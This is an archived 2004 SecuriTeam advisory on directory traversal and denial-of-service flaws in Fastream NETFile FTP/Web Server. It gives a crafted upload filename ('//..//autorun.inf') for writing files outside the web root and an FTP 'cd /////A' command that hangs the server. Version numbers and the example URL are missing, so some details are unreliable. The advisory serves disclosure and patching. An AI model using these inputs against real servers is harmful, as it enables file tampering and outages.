[NT] Fastream NETFile FTP/Web Server Input validation Errors

From: SecuriTeam (support_at_securiteam.com)
Date: 07/04/04

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    Date: 4 Jul 2004 18:45:52 +0200

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      Fastream NETFile FTP/Web Server Input validation Errors


    Fastream NETFile Server is "a secure FTP server and Web server combined
    together in one application. Our claim is that it is the easiest to setup
    and use server on the Internet". Two security vulnerabilities in the
    Fastream NETFile allow a remote attacker to either write to files that
    reside outside the bounding HTTP root directory or to cause a denial of
    service against.


    Vulnerable Systems:
     * Fastream NETFile FTP/Web Server version and prior

    Immune Systems:
     * Fastream NETFile FTP/Web Server version

    There are some input validation errors in Fastream NETFile that allow
    users to bypass the root directory restrictions. It is easy to exploit
    this vulnerability and compromise the system because Fastream NETFile
    allows remote users to upload/create/delete files in the application
    directory. Another vulnerability exists in the way that NETFile handles
    some URLs. After requesting a special crafted directory it's possible to
    cause a 1 minute Denial of Service.

    Exploit code:
    The problem is in the way that NETFile handles two Slashes.

    Example URL:

    C:\>dir FOLDE*
     Volume in drive C is W2000P
     Volume Serial Number is xxxx-xxxx

     Directory of C:\

    07/03/2004 07:47p <DIR>
                   0 File(s) 0 bytes
                   1 Dir(s) 119,015,936 bytes free

    NETFile allows some other methods in the "command" parameter that could be
    used to create/delete folders/files outside the root directory.

    To exploit the upload files vulnerability we need to take a look to the
    data sent in the POST request:
    Content-Disposition: form-data; name="upfile"; filename="D:\foo.txt"
    Content-Type: text/plain



    Its possible for an attacker to modify the filename parameter to something
    like: Filename="//..//autorun.inf" and place malicious files in the
    system, or overwrite existing files.

    Seems that the FTP Server is not vulnerable to this issue and transversal
    directory attacks are not possible, but there is another bug that allows
    malicious users to cause a denial of service by executing the following
    D:\>ftp localhost
    Connected to at4r.intranet.
    220 Fastream NETFile FTP Server Ready
    User (at4r.intranet:(none)): ftp
    331 Password required for ftp.
    230 User ftp logged in.
    ftp> cd /////A <-- here the ftp server hangs for a lot of time
    599 No such directory.

    The best solution is to upgrade the software to version 6.7.3 that was
    released by vendor 3 July 2004. Another way to minimize the impact of this
    vulnerability is to store the root directory of Fastream NETFile server in
    other partition and remove create/delete file and directory permissions
    from all users, included Guest accounts.

    Disclosure Timeline:
    3 July, 2004: Vendor Contacted.
    3 July, 2004: Issue Fixed after 2 hours. New release 6.7.3 available
    4 July, 2004: Public Disclosure


    The information has been provided by <mailto:at4r@haxorcitos.com> at4r.
    The original article can be found at:


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